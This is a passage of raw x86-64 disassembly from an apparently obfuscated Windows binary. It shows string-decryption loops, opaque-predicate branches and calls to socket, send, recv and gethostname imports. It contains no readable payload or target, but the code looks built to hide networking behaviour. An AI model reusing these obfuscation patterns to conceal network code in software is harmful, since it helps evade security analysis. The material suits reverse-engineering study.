sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007e902
movabs rcx, 0x5ef63f08beb2c247
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xf
dec rbx
inc rbx
jmp 0x14007e902
movabs rcx, 0x6d56818c30ab3d33
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
jmp 0x14007f54f
movabs rcx, 0x7bb6c40fa2a3b81f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x27
movabs rcx, 0x4dd14f474941a2c3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x55
add r11b, cl
mov byte [rbp + rbx + 0xc50], r11b
inc r9
dec rbx
inc rbx
jmp 0x14007e902
movabs rcx, 0x8a170693149c330b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
dec rbx
inc rbx
jmp 0x14007e902
movabs rcx, 0x987749168694adf7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3f
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007e902
mov r11, rdx
movabs rcx, 0xa6d78b99f88d28e3
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x35
movabs rdx, 0x3f710cc3d74927d7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x1f
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xc50], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x7bd8fc22facb091c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xc50], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xc50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007e902
movabs rcx, 0xb537ce1d6a85a3cf
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x57
movzx eax, byte [rbp + rbx + 0xc50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007e902
movabs rcx, 0x61ff5c6d727a08d9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
jmp 0x14007e900
movabs rcx, 0xe92f7daf2b76464f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x29
jmp 0x14007e8f0
lea rsi, [rbp + 0x14366ac]
jmp 0x14007f71c
lea rsi, [rbp + 0x4547f1]
jmp 0x14007f71c
lea rsi, [rbp + 0xc50]
lea rdx, [0x140236eb0]
lea rcx, [rbp + 0x560]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x130]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006b4d0
mov r14, rax
mov byte [rbp + 0xc78], 0xbb
mov byte [rbp + 0xc79], 0x88
mov byte [rbp + 0xc7a], 0x80
mov byte [rbp + 0xc7b], 0x84
mov byte [rbp + 0xc7c], 0x99
mov byte [rbp + 0xc7d], 0x85
mov byte [rbp + 0xc7e], 0x9f
mov byte [rbp + 0xc7f], Ordinal_143
mov byte [rbp + 0xc80], 0x9d
mov byte [rbp + 0xc81], 0x81
mov byte [rbp + 0xc82], 0x83
mov byte [rbp + 0xc83], 0x7b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc84], xmm0
mov dword [rbp + 0xc94], eax
mov word [rbp + 0xc98], ax
mov byte [rbp + 0xc9a], al
movabs r12, 0x234fea2053296746
movabs r13, 0x63a33e746f98257a
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
movabs rcx, 0x3271850dbad135ae
cmp rdi, 0x23
jae 0x1400805c7
movzx ebx, byte [rbp + rdi + 0xc78]
mov r10, rbx
cmp r8, rdi
ja 0x1400805bb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007f85c
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x3e
jmp 0x14007f895
je 0x14008052e
inc rax
cmp r8, rax
je 0x1400804be
lea rax, [r9 + 3]
cmp r8, rax
je 0x140080469
lea rax, [r9 + 2]
cmp r8, rax
je 0x140080433
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400803e5
cmp r9, rdi
ja 0x1400805af
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14007f8c3
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007f910
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400803c5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008039c
lea rax, [rcx + 1]
cmp r8, rax
je 0x140080379
lea rax, [r9 + 5]
cmp r8, rax
je 0x140080346
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008031e
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14007ff8f
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007ff6c
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007ff3b
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007ff12
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14007feea
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007fec7
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007fe8f
lea rcx, [r9 + 4]
cmp r8, rcx
je 0x14007fe6c
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007fe44
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007fe10
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007f920
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x14008058c
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x140080564
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x14007fb1c
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x14007faf4
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x14007fad6
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x14007fdab
lea rcx, [r9 + 0x20]
cmp r8, rcx
jb 0x14007fd49
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007fcf8
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14007fcca
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007f920
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x14007fc96
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x14007fc6e
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x14007fc4b
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x14007fc13
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x14007fbf0
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x14007fbce
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x14007fba5
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14007fb74
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x14007fb4d
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x14007f920
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x400]
jmp 0x14007f920
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x56
add r11b, dl
jmp 0x14007f910
movabs rdx, 0xfec03458f9f5ba1e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007f895
movabs rdx, 0x99dd2a3d84534ec2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4e
add r11b, dl
movabs rcx, 0x3271850dbad135ae
jmp 0x14007f82e
movabs rdx, 0x1a7f5102994b3a30
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x140080403
movabs rdx, 0xb59c46e723a8ced4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14007f812
movabs rcx, 0x50b93ccbae066378
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x14007f812
movabs rdx, 0xebd632b03863f81c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400802bb
movabs rcx, 0x86f32894c2c18cc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x140080451
movabs rdx, 0x22101e794d1f2164
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007f812
movabs rcx, 0xbd2d145dd77cb608
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x14008048b
movabs rdx, 0x584a0a4261da4aac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400804e6
movabs rcx, 0xf3670026ec37df50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0xc78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007f812
movabs rcx, 0xf72f66e24621d2ea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
mov byte [rbp + rdi + 0xc78], r11b
inc rdi
jmp 0x14007f812
movabs rdx, 0x924c5cc6d07f678e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x41
jb 0x14007fce8
movabs rdx, 0x193b03786f5b6354
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140080403
movabs rcx, 0x2d6952ab5adcfc32
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
cmp r8, 0x80
jae 0x140080296
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140080192
movabs rdx, 0x285c9e65d70331bc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x14007fd1b
movabs rdx, 0xc886488fe53a90d6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x1400802ef
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140080095
movabs rdx, 0x50cb44583d9ca76
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3a
add r11b, dl
jmp 0x14007fd67
movabs rcx, 0xd3df7cc1f2f86ba4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
movzx eax, byte [rbp + rdi + 0xc78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007f812
movabs rdx, 0x6efc72a67d560048
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400804e6
movabs rcx, 0xa19688b07b394ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x14008048b
movabs rdx, 0xa5365e6f92112990
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007f812
movabs rcx, 0x405354541c6ebe34
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x140080451
movabs rdx, 0xdb704a38a6cc52d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400802c1
movabs rcx, 0x768d401d3129e77c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
dec rdi
inc rdi
jmp 0x14007f812
movabs rdx, 0x11aa3601bb877c20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14007f812
movabs rcx, 0xacc72be645e510c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x140080403
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14007ffc0
movabs rdx, 0x3271850dbad135ae
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007fdce
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140080002
movabs rdx, 0x469fd440a652ce8c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007f812
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140080033
movabs rdx, 0x1065e8779197a544
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008048b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140080060
movabs rdx, 0x3f0f06c9f27ee758
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
jmp 0x1400802be
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14007fdce
movabs rdx, 0x6db8251c5366296c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140080403
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400800c6
movabs rdx, 0x69efbe60f97c35d2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140080403
inc rax
cmp r8, rax
jne 0x1400800fa
movabs rcx, 0xced2c87c6f1ea12e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x42
inc r9
dec rdi
inc rdi
jmp 0x14007f812
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140080131
movabs rdx, 0x33b5d297e4c10c8a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007f812
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140080162
movabs rdx, 0xfd7be6ced005e342
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140080451
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007fd67
movabs rcx, 0x2c25052130ed2556
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
jmp 0x1400804e6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400801d4
movabs rdx, 0x8d3fa8814ca59d18
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xc78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007f812
inc rax
cmp r8, rax
jne 0x1400801ff
movabs rcx, 0xf222b29cc2480874
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x1400804e6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140080230
movabs rdx, 0x5705bcb837ea73d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008048b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140080261
movabs rdx, 0x20cbd0ef232f4a88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140080451
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007fd1b
movabs rdx, 0xb457f95cf9b8f7f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140080403
movabs rdx, 0x7e1e0d93e4fdceb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xc78]
add r11b, bl
add r11b, dl
movabs rdx, 0xb08f92a19fcf045e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xc78], cl
jmp 0x140080451
movabs rdx, 0xe30117af5aa03a0c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xc78]
sub r11b, 0x54
add r11b, dl
jmp 0x14008048b
movabs rdx, 0xe58530e08a9a56ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008048b
movabs rcx, 0x80a226c514f7eb6e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 2
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007f812
movabs rcx, 0x1bbf1ca99f558012
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7e
jmp 0x140080451
movabs rcx, 0x51f90872b410a95a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
dec rdi
inc rdi
jmp 0x14007f812
movabs rcx, 0x8832f43bc8cbd2a2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
jmp 0x140080403
movabs rcx, 0xbe6ce004dd86fbea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
movabs rcx, 0x4bac88862a2c9902
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xe
add cl, bl
mov byte [rbp + rdi + 0xc78], cl
inc r9
dec rdi
inc rdi
jmp 0x14007f812
movabs rcx, 0x2ae0b79706fd4e7a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x56
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007f812
mov rbx, r10
movabs rcx, 0x611aa3601bb877c2
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
movabs rdx, 0x15729cbd15716fba
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x16
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xc78], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400804e6
movabs rdx, 0xfc379944a6160c66
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx ebx, r10b
movabs rdx, 0x47e421cad042a568
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xc78], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007f812
movabs rcx, 0x97548f293073a10a
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x46
movzx eax, byte [rbp + rdi + 0xc78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007f812
movabs rdx, 0x34fa20220eb0e366
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007f80e
movabs rcx, 0xd0171606990e780a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x46
jmp 0x14007f7f1
lea rcx, [rbp + 0x1501d60]
jmp 0x1400805ce
lea rcx, [rbp + 0x161530e]
jmp 0x1400805ce
lea rcx, [rbp + 0xc78]
mov dword [rbp + 0xef0], 0x3f800000
mov dword [rbp + 0xef8], 0x3dcccccd
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xef0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xef8]
mov r8, r14
mov edx, 8
call fcn.140037d20
mov byte [rbp + 0xca0], 0xed
mov byte [rbp + 0xca1], Ordinal_45
mov byte [rbp + 0xca2], __WSAFDIsSet
xorps xmm0, xmm0
movups xmmword [rbp + 0xca3], xmm0
movups xmmword [rbp + 0xcb3], xmm0
movabs rsi, 0xe30498ffa9f55081
movabs r13, 0x6c558d6181ff7dbd
movabs r14, 0xd273c3f195b9459f
movabs r12, 0xf9c8a92e91ba4a25
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1400813b7
movzx ebx, byte [rbp + rdi + 0xca0]
mov r10, rbx
cmp r8, rdi
ja 0x1400813ab
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400806c3
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x2b
jmp 0x140080710
je 0x140081325
inc rax
cmp r8, rax
je 0x1400812ba
lea rax, [r9 + 3]
cmp r8, rax
je 0x140081265
lea rax, [r9 + 5]
cmp r8, rax
je 0x140081206
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400811dd
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008118b
nop dword [rax]
cmp r9, rdi
ja 0x14008139f
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14008073d
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x79
add r11b, dl
jmp 0x140080770
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008116a
inc rax
cmp r8, rax
je 0x140081141
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008111e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400810fb
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140080dd0
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140080dac
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140080d7b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140080d52
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140080d2e
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140080d06
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140080cd3
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140080cac
lea rax, [r9 + 1]
cmp r8, rax
je 0x140080c84
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140080c50
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008137d
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14008135a
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140080960
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140080942
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140080924
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140080bf0
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140080b8c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140080b40
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140080b12
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140080ad9
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140080ab4
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140080a8d
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140080a55
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140080a2d
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140080a0a
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400809dc
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400809ab
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140080987
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140080780
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x40]
jmp 0x140080780
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x59
add r11b, dl
jmp 0x140080770
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 3
add r11b, dl
jmp 0x140080710
movabs rdx, 0x211d8e6b8dbb4eab
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x53
add r11b, dl
jmp 0x140080694
movabs rdx, 0x1824c7fd4faa8408
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
jmp 0x1400811aa
movabs rdx, 0x3f79ad3a4bab888e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140080682
movabs rdx, 0x66ce927747ac8d14
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140080682
movabs rcx, 0x8e2377b443ad919a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
jmp 0x140081228
movabs rdx, 0xb5785cf13fae9620
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008124d
movabs rdx, 0xdccd422e3baf9aa6
